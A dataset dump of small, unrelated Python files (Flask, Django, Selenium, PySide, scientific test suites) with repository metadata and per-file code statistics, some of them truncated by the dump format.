] | 16 | 2019-08-05T09:38:53.000Z | 2021-12-26T19:24:31.000Z | Premier-eye.API/sockets/sockets.py | Sapfir0/premier-eye | 26bb27e5f804c2e9375cb6f5edebad58e7b5dffe | [
"MIT"
] | 4 | 2020-01-09T22:22:37.000Z | 2021-07-29T18:33:57.000Z | Premier-eye.API/sockets/sockets.py | Sapfir0/premier-eye | 26bb27e5f804c2e9375cb6f5edebad58e7b5dffe | [
"MIT"
] | 4 | 2019-08-04T14:02:08.000Z | 2020-07-10T09:47:06.000Z | from flask_socketio import SocketIO
socketio = SocketIO(cors_allowed_origins='*')
def initSocket(app):
socketio.init_app(app)
| 18.857143 | 45 | 0.780303 | 17 | 132 | 5.823529 | 0.647059 | 0.323232 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.121212 | 132 | 6 | 46 | 22 | 0.853448 | 0 | 0 | 0 | 0 | 0 | 0.007576 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
8b02dc1533fec80414f82f5c39becec1dfb39730 | 171 | py | Python | geometric/tests/test_molecule.py | fding2015/geomeTRIC | 8a62621d717de5b35ce252db20ee193012cb806a | [
"MIT"
] | null | null | null | geometric/tests/test_molecule.py | fding2015/geomeTRIC | 8a62621d717de5b35ce252db20ee193012cb806a | [
"MIT"
] | null | null | null | geometric/tests/test_molecule.py | fding2015/geomeTRIC | 8a62621d717de5b35ce252db20ee193012cb806a | [
"MIT"
] | 1 | 2019-06-17T18:16:16.000Z | 2019-06-17T18:16:16.000Z | """
Tests the geomeTRIC molecule class.
"""
import pytest
import geometric
def test_blank_molecule():
mol = geometric.molecule.Molecule()
assert len(mol) == 0
| 13.153846 | 39 | 0.701754 | 21 | 171 | 5.619048 | 0.666667 | 0.288136 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007194 | 0.187135 | 171 | 12 | 40 | 14.25 | 0.841727 | 0.204678 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.2 | 1 | 0.2 | false | 0 | 0.4 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
8b05f8341b9adee5ad4aaddfd0431fab702d5595 | 4,474 | py | Python | scripts/tagger.test.py | 9bstudios/mecco_tagger | 08af7cc0939602ae15e43fa081bbc0825b2ef7a7 | [
"MIT"
] | null | null | null | scripts/tagger.test.py | 9bstudios/mecco_tagger | 08af7cc0939602ae15e43fa081bbc0825b2ef7a7 | [
"MIT"
] | null | null | null | scripts/tagger.test.py | 9bstudios/mecco_tagger | 08af7cc0939602ae15e43fa081bbc0825b2ef7a7 | [
"MIT"
] | null | null | null | #python
import tagger, traceback
errors = 0
lx.eval('layout.createOrClose EventLog "Event Log_layout" title:@macros.layouts@EventLog@ width:600 height:600 persistent:true open:true')
def open_scene(slug):
scenesFolder = lx.eval("query platformservice alias ? {kit_mecco_tagger:testing}")
lx.eval("pref.value... | 17.967871 | 138 | 0.682387 | 600 | 4,474 | 5.003333 | 0.2 | 0.08994 | 0.086942 | 0.144903 | 0.738841 | 0.728514 | 0.703198 | 0.680546 | 0.680546 | 0.680546 | 0 | 0.010543 | 0.173223 | 4,474 | 248 | 139 | 18.040323 | 0.801027 | 0.001341 | 0 | 0.794118 | 0 | 0.011765 | 0.381688 | 0.186702 | 0 | 0 | 0 | 0 | 0 | 1 | 0.005882 | false | 0 | 0.005882 | 0 | 0.011765 | 0.170588 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
8b10cbe0c5d5e22238c83238f9528cd13146315d | 97 | py | Python | advertising/apps.py | franciscobarrerarodriguez/redzza | 69dfc983a6e34a2882cc58df5ea4dd7f4bbc2578 | [
"Apache-2.0"
] | 3 | 2019-10-30T07:15:59.000Z | 2021-12-26T20:59:05.000Z | advertising/apps.py | franciscobarrerarodriguez/redzza | 69dfc983a6e34a2882cc58df5ea4dd7f4bbc2578 | [
"Apache-2.0"
] | 322 | 2019-10-30T07:12:36.000Z | 2022-02-10T10:55:32.000Z | advertising/apps.py | franciscobarrerarodriguez/redzza | 69dfc983a6e34a2882cc58df5ea4dd7f4bbc2578 | [
"Apache-2.0"
] | 7 | 2019-10-30T13:34:54.000Z | 2021-12-27T12:08:07.000Z | from django.apps import AppConfig
class AdvertisingConfig(AppConfig):
name = 'advertising'
| 16.166667 | 35 | 0.773196 | 10 | 97 | 7.5 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.154639 | 97 | 5 | 36 | 19.4 | 0.914634 | 0 | 0 | 0 | 0 | 0 | 0.113402 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
8b2769777675d092fe54bd01ffb5612df322fba1 | 145 | py | Python | ifigures/__init__.py | nikolasibalic/InteractivePublishing | 9266a0c1a50744454c08f1f0c92b7b10d9d20c6f | [
"BSD-3-Clause"
] | 8 | 2019-03-18T09:18:01.000Z | 2022-03-28T09:03:07.000Z | ifigures/__init__.py | nikolasibalic/InteractivePublishing | 9266a0c1a50744454c08f1f0c92b7b10d9d20c6f | [
"BSD-3-Clause"
] | null | null | null | ifigures/__init__.py | nikolasibalic/InteractivePublishing | 9266a0c1a50744454c08f1f0c92b7b10d9d20c6f | [
"BSD-3-Clause"
] | 1 | 2021-08-29T03:34:54.000Z | 2021-08-29T03:34:54.000Z | __version__ = "1.1.0"
from .interact import InteractiveFigure
from .widgets import RadioWidget, RangeWidget, RangeWidgetViridis, DropDownWidget
| 29 | 81 | 0.827586 | 15 | 145 | 7.733333 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.023077 | 0.103448 | 145 | 4 | 82 | 36.25 | 0.869231 | 0 | 0 | 0 | 0 | 0 | 0.034483 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
8b2a34469adf02f24cc81b9757c0466c6709934d | 196 | py | Python | Z_ALL_FILE/Py1/xxtest.py | omikabir/omEngin | b8c04a5c2c12ffc3d0b67c2ceba9e5741d3f9195 | [
"Apache-2.0"
] | null | null | null | Z_ALL_FILE/Py1/xxtest.py | omikabir/omEngin | b8c04a5c2c12ffc3d0b67c2ceba9e5741d3f9195 | [
"Apache-2.0"
] | null | null | null | Z_ALL_FILE/Py1/xxtest.py | omikabir/omEngin | b8c04a5c2c12ffc3d0b67c2ceba9e5741d3f9195 | [
"Apache-2.0"
] | 1 | 2021-04-29T21:46:02.000Z | 2021-04-29T21:46:02.000Z | import pandas as pd
import cx_Oracle, pyodbc, requests, os, time
from mysql import *
from sqlalchemy import create_engine
import OmSQ.omsqlfn as fn
import OmSQ.InsUpd as fni
from datetime import * | 28 | 44 | 0.811224 | 32 | 196 | 4.90625 | 0.65625 | 0.127389 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.147959 | 196 | 7 | 45 | 28 | 0.94012 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
8b30377cd11927607d4423cf1dab058875b3ce6d | 72 | py | Python | falcon_web_demo/wsgi.py | wileykestner/falcon-sqlalchemy-demo | a1c8bdf212bafc4b577dbebab57753d724871572 | [
"MIT"
] | 41 | 2016-10-21T04:08:05.000Z | 2020-11-27T22:07:18.000Z | falcon_web_demo/wsgi.py | wileykestner/falcon-sqlalchemy-demo | a1c8bdf212bafc4b577dbebab57753d724871572 | [
"MIT"
] | null | null | null | falcon_web_demo/wsgi.py | wileykestner/falcon-sqlalchemy-demo | a1c8bdf212bafc4b577dbebab57753d724871572 | [
"MIT"
] | 8 | 2017-12-19T21:56:49.000Z | 2022-01-30T12:29:05.000Z | from falcon_web_demo.application_routes import get_app
app = get_app()
| 18 | 54 | 0.833333 | 12 | 72 | 4.583333 | 0.75 | 0.218182 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 72 | 3 | 55 | 24 | 0.859375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
8c6a10700463a414c46ffa53457475b054093d5d | 110 | py | Python | iam_permissions_guardrails/constructs/service_control_policies/__init__.py | lulukelu/aws-iam-permissions-guardrails | cae485e3d8589c85f55c50c442ce47916345e00d | [
"Apache-2.0"
] | 88 | 2020-04-02T02:56:27.000Z | 2022-03-18T13:22:02.000Z | iam_permissions_guardrails/constructs/service_control_policies/__init__.py | lulukelu/aws-iam-permissions-guardrails | cae485e3d8589c85f55c50c442ce47916345e00d | [
"Apache-2.0"
] | 45 | 2020-06-26T11:11:28.000Z | 2021-08-17T15:31:47.000Z | iam_permissions_guardrails/constructs/service_control_policies/__init__.py | lulukelu/aws-iam-permissions-guardrails | cae485e3d8589c85f55c50c442ce47916345e00d | [
"Apache-2.0"
] | 32 | 2020-04-02T02:56:28.000Z | 2021-12-20T18:53:04.000Z | from .scp_policy_resource import ScpPolicyResource
from .scp_attachment_resource import ScpAttachmentResource
| 36.666667 | 58 | 0.909091 | 12 | 110 | 8 | 0.666667 | 0.145833 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.072727 | 110 | 2 | 59 | 55 | 0.941176 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
8ca8f2d002f4a65de7e8b16628f7e599ba9d026d | 3,990 | py | Python | webapp/graphite/hypertable_client.py | fthzkrtn/graphite | bc9788fb771a6a9c5bb14cd352be402e3a791a2c | [
"Apache-2.0"
] | 1 | 2015-04-09T19:05:51.000Z | 2015-04-09T19:05:51.000Z | webapp/graphite/hypertable_client.py | foursquare/graphite | bd9a1ff71c76f109cc9bf6232378f8ce17108445 | [
"Apache-2.0"
] | 1 | 2021-06-10T23:34:32.000Z | 2021-06-10T23:34:32.000Z | webapp/graphite/hypertable_client.py | fthzkrtn/graphite | bc9788fb771a6a9c5bb14cd352be402e3a791a2c | [
"Apache-2.0"
] | null | null | null | from __future__ import with_statement
from django.conf import settings
from graphite.logger import log
import hypertable.thriftclient
import libHyperPython
import threading
import re
import time
def removePrefix(path):
if hasattr(settings, 'HYPERTABLE_PREFIX') and settings.HYPERTABLE_PREFIX:
return re.sub('^%s\... | 30 | 75 | 0.632832 | 484 | 3,990 | 5.088843 | 0.216942 | 0.025985 | 0.058465 | 0.030857 | 0.759643 | 0.759643 | 0.732846 | 0.710516 | 0.649614 | 0.649614 | 0 | 0.004342 | 0.249624 | 3,990 | 132 | 76 | 30.227273 | 0.818303 | 0 | 0 | 0.684685 | 0 | 0 | 0.039599 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.09009 | false | 0 | 0.072072 | 0 | 0.234234 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
8cb09aa2f7df1275918ad2387cb63f98fe59bb96 | 315 | py | Python | pipe/tools/nuketools/nukeutils/utils.py | htinney/byupipe | 7b95270caf4c1834552f53d5073db50fb5162aef | [
"Apache-2.0"
] | 5 | 2019-04-20T19:49:55.000Z | 2021-02-18T00:17:20.000Z | pipe/tools/nuketools/nukeutils/utils.py | htinney/byupipe | 7b95270caf4c1834552f53d5073db50fb5162aef | [
"Apache-2.0"
] | 133 | 2019-06-19T02:56:05.000Z | 2020-09-21T23:16:22.000Z | pipe/tools/nuketools/nukeutils/utils.py | htinney/byupipe | 7b95270caf4c1834552f53d5073db50fb5162aef | [
"Apache-2.0"
] | 5 | 2019-08-22T03:14:11.000Z | 2021-02-18T00:17:57.000Z | try:
from PySide import QtCore
from PySide import QtGui
except:
from PySide2 import QtCore
from PySide2 import QtGui
from PySide2 import QtWidgets
def get_main_window():
try:
return QtGui.QApplication.activeWindow()
except:
return QtWidgets.QApplication.activeWindow()
| 21 | 52 | 0.711111 | 36 | 315 | 6.166667 | 0.444444 | 0.148649 | 0.22973 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012552 | 0.24127 | 315 | 14 | 53 | 22.5 | 0.916318 | 0 | 0 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | true | 0 | 0.416667 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
8cd89fe514cd3bfb3ebf42cf9ec5304503016110 | 581 | py | Python | Download/login_automatico.py | Leonei1006/Login-Automatico | b55b92bfd9c80e5a0c8e433e2739b0c7cc5f5cc9 | [
"MIT"
] | 1 | 2022-01-21T19:19:53.000Z | 2022-01-21T19:19:53.000Z | Download/login_automatico.py | Leonei1006/Login-Automatico | b55b92bfd9c80e5a0c8e433e2739b0c7cc5f5cc9 | [
"MIT"
] | null | null | null | Download/login_automatico.py | Leonei1006/Login-Automatico | b55b92bfd9c80e5a0c8e433e2739b0c7cc5f5cc9 | [
"MIT"
] | null | null | null | from selenium import webdriver
navegador = webdriver.Chrome()
navegador.get("https://www.amazon.com.br/")
navegador.find_element_by_xpath('//*[@id="nav-link-accountList-nav-line-1"]').click()
navegador.find_element_by_xpath('//*[@id="ap_email"]').send_keys('xxxxxxxxxxxxxx@xxxxxxx')
navegador.find_element_by_xpath('//*[... | 58.1 | 90 | 0.746988 | 79 | 581 | 5.21519 | 0.468354 | 0.18932 | 0.291262 | 0.320388 | 0.473301 | 0.473301 | 0.262136 | 0.262136 | 0 | 0 | 0 | 0.001764 | 0.024096 | 581 | 9 | 91 | 64.555556 | 0.724868 | 0 | 0 | 0 | 0 | 0 | 0.387263 | 0.261618 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.111111 | 0.111111 | 0 | 0.111111 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 4 |
5071089043f6a9202f69d725950d3f363dcc7321 | 120 | py | Python | generic_links/apps.py | johnbaldwin/django-generic-links | 02b45b6b010132f6f7e33f1e1e2260619fb1c5c3 | [
"BSD-3-Clause"
] | 8 | 2015-04-11T15:53:22.000Z | 2020-01-07T06:14:16.000Z | generic_links/apps.py | johnbaldwin/django-generic-links | 02b45b6b010132f6f7e33f1e1e2260619fb1c5c3 | [
"BSD-3-Clause"
] | 6 | 2015-06-12T16:17:17.000Z | 2022-03-01T02:08:13.000Z | generic_links/apps.py | johnbaldwin/django-generic-links | 02b45b6b010132f6f7e33f1e1e2260619fb1c5c3 | [
"BSD-3-Clause"
] | 6 | 2015-06-11T13:36:09.000Z | 2021-04-24T15:35:36.000Z | # -*- coding: utf-8
from django.apps import AppConfig
class GenericLinksConfig(AppConfig):
name = 'generic_links'
| 17.142857 | 36 | 0.733333 | 14 | 120 | 6.214286 | 0.928571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009901 | 0.158333 | 120 | 6 | 37 | 20 | 0.851485 | 0.141667 | 0 | 0 | 0 | 0 | 0.128713 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
5092b8068b3b4409ffed39e8d1b7242ab8a85d61 | 103 | py | Python | budget/when/__init__.py | cbosoft/budget.py | 9d77631333e9a19b10cd50b94ebfd96772c33474 | [
"MIT"
] | null | null | null | budget/when/__init__.py | cbosoft/budget.py | 9d77631333e9a19b10cd50b94ebfd96772c33474 | [
"MIT"
] | null | null | null | budget/when/__init__.py | cbosoft/budget.py | 9d77631333e9a19b10cd50b94ebfd96772c33474 | [
"MIT"
] | null | null | null | from .once import Once
from .monthly import Monthly
from .weekly import Weekly
from .daily import Daily | 25.75 | 28 | 0.815534 | 16 | 103 | 5.25 | 0.375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.145631 | 103 | 4 | 29 | 25.75 | 0.954545 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
5098a31f6dcc28908a5e6237861e53a2f0791520 | 96 | py | Python | Forms/API/is_bound/forms.py | looking-for-a-job/django-examples | dfafa450668cac5c0351f6c7238b8886511229bf | [
"Unlicense"
] | null | null | null | Forms/API/is_bound/forms.py | looking-for-a-job/django-examples | dfafa450668cac5c0351f6c7238b8886511229bf | [
"Unlicense"
] | null | null | null | Forms/API/is_bound/forms.py | looking-for-a-job/django-examples | dfafa450668cac5c0351f6c7238b8886511229bf | [
"Unlicense"
] | null | null | null | from django import forms
class MyForm(forms.Form):
title = forms.CharField(max_length=100)
| 19.2 | 43 | 0.760417 | 14 | 96 | 5.142857 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.036585 | 0.145833 | 96 | 4 | 44 | 24 | 0.841463 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
50a52c8cf911cde6b19529abfe781637e0f28069 | 638 | py | Python | emmascrumy/migrations/0002_auto_20180420_0401.py | emmaadesile/django-emmaadesilescrumy | 21b2985846f196d3607946d93bc64caa39f33178 | [
"BSD-2-Clause"
] | null | null | null | emmascrumy/migrations/0002_auto_20180420_0401.py | emmaadesile/django-emmaadesilescrumy | 21b2985846f196d3607946d93bc64caa39f33178 | [
"BSD-2-Clause"
] | null | null | null | emmascrumy/migrations/0002_auto_20180420_0401.py | emmaadesile/django-emmaadesilescrumy | 21b2985846f196d3607946d93bc64caa39f33178 | [
"BSD-2-Clause"
] | null | null | null | # Generated by Django 2.0.4 on 2018-04-20 03:01
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('emmascrumy', '0001_initial'),
]
operations = [
migrations.AlterModelOptions(
name='goalstatus',
options={'verbose_name_plura... | 24.538462 | 60 | 0.586207 | 53 | 638 | 6.924528 | 0.603774 | 0.220708 | 0.253406 | 0.196185 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.042222 | 0.294671 | 638 | 25 | 61 | 25.52 | 0.773333 | 0.070533 | 0 | 0.315789 | 1 | 0 | 0.241963 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.052632 | 0 | 0.210526 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
50add3fc30c9362a914996ade697e1cd0650bcd8 | 566 | py | Python | Django/project3/languages/serializers.py | aadhityasw/Playground | ec6995edf26bcaf28053f912ee9b4b770585d449 | [
"MIT"
] | null | null | null | Django/project3/languages/serializers.py | aadhityasw/Playground | ec6995edf26bcaf28053f912ee9b4b770585d449 | [
"MIT"
] | null | null | null | Django/project3/languages/serializers.py | aadhityasw/Playground | ec6995edf26bcaf28053f912ee9b4b770585d449 | [
"MIT"
] | null | null | null | from rest_framework import serializers
from .models import Language, Paradgim, Programmer
class LanguageSerializer(serializers.HyperlinkedModelSerializer) :
class Meta :
model = Language
fields = ('id', 'url', 'name', 'paradgim')
class ParadgimSerializer(serializers.HyperlinkedModelSerializer) :
... | 33.294118 | 68 | 0.687279 | 49 | 566 | 7.918367 | 0.428571 | 0.286082 | 0.324742 | 0.35567 | 0.39433 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.206714 | 566 | 17 | 69 | 33.294118 | 0.864143 | 0 | 0 | 0.214286 | 0 | 0 | 0.077601 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.142857 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 4 |
50bcebed5095794e02f3a8f4c8747bdd9105269c | 1,218 | py | Python | pyNastran/converters/test_formats.py | ACea15/pyNastran | 5ffc37d784b52c882ea207f832bceb6b5eb0e6d4 | [
"BSD-3-Clause"
] | 293 | 2015-03-22T20:22:01.000Z | 2022-03-14T20:28:24.000Z | pyNastran/converters/test_formats.py | ACea15/pyNastran | 5ffc37d784b52c882ea207f832bceb6b5eb0e6d4 | [
"BSD-3-Clause"
] | 512 | 2015-03-14T18:39:27.000Z | 2022-03-31T16:15:43.000Z | pyNastran/converters/test_formats.py | ACea15/pyNastran | 5ffc37d784b52c882ea207f832bceb6b5eb0e6d4 | [
"BSD-3-Clause"
] | 136 | 2015-03-19T03:26:06.000Z | 2022-03-25T22:14:54.000Z | import unittest
from pyNastran.converters.nastran.test_nastran import TestNastran
from pyNastran.converters.cart3d.test_cart3d import TestCart3d
from pyNastran.converters.fast.test_fast import TestFast
from pyNastran.converters.openfoam.test_openfoam import TestOpenFOAM
from pyNastran.converters.panair.test_panair im... | 38.0625 | 81 | 0.840722 | 160 | 1,218 | 6.23125 | 0.33125 | 0.208626 | 0.369107 | 0.078235 | 0.126379 | 0.068205 | 0 | 0 | 0 | 0 | 0 | 0.009107 | 0.098522 | 1,218 | 31 | 82 | 39.290323 | 0.898907 | 0.065681 | 0 | 0 | 0 | 0 | 0.007067 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.045455 | 0.818182 | 0 | 0.818182 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
50d6e0909506bed2308423c8bd8af21b08e40baf | 585 | py | Python | conformal_predictors/nc_measures/__init__.py | SergioGonzalezSanz/conformal_predictors | 80325f56145d0bb8d359db6191654690b6b4b8cc | [
"MIT"
] | null | null | null | conformal_predictors/nc_measures/__init__.py | SergioGonzalezSanz/conformal_predictors | 80325f56145d0bb8d359db6191654690b6b4b8cc | [
"MIT"
] | null | null | null | conformal_predictors/nc_measures/__init__.py | SergioGonzalezSanz/conformal_predictors | 80325f56145d0bb8d359db6191654690b6b4b8cc | [
"MIT"
] | null | null | null | class NCMeasure:
"""
This abstract class defines the behaviour of a nonconformity measure
"""
from abc import ABCMeta, abstractmethod
__metaclass__ = ABCMeta
def __init__(self):
return None
@abstractmethod
def evaluate(self, clf, x) -> float:
"""
Method that c... | 24.375 | 74 | 0.632479 | 65 | 585 | 5.507692 | 0.661538 | 0.111732 | 0.072626 | 0.078212 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.297436 | 585 | 23 | 75 | 25.434783 | 0.871046 | 0.494017 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0.125 | 0.125 | 0.125 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 4 |
50d83f3957b840677e8aa924c68ff81f09401bb9 | 154 | py | Python | python/testData/intentions/replaceListComprehensionWithFor.py | jnthn/intellij-community | 8fa7c8a3ace62400c838e0d5926a7be106aa8557 | [
"Apache-2.0"
] | 2 | 2019-04-28T07:48:50.000Z | 2020-12-11T14:18:08.000Z | python/testData/intentions/replaceListComprehensionWithFor.py | Cyril-lamirand/intellij-community | 60ab6c61b82fc761dd68363eca7d9d69663cfa39 | [
"Apache-2.0"
] | 173 | 2018-07-05T13:59:39.000Z | 2018-08-09T01:12:03.000Z | python/testData/intentions/replaceListComprehensionWithFor.py | Cyril-lamirand/intellij-community | 60ab6c61b82fc761dd68363eca7d9d69663cfa39 | [
"Apache-2.0"
] | 2 | 2020-03-15T08:57:37.000Z | 2020-04-07T04:48:14.000Z | a = 2
smth = [x+y+z for x in xrange(10) if x != 2 if x != 5 for y in xrange(12) if y != 1 if y != 4 for z in xrange(14) if z != 3 <caret>if z != 8]
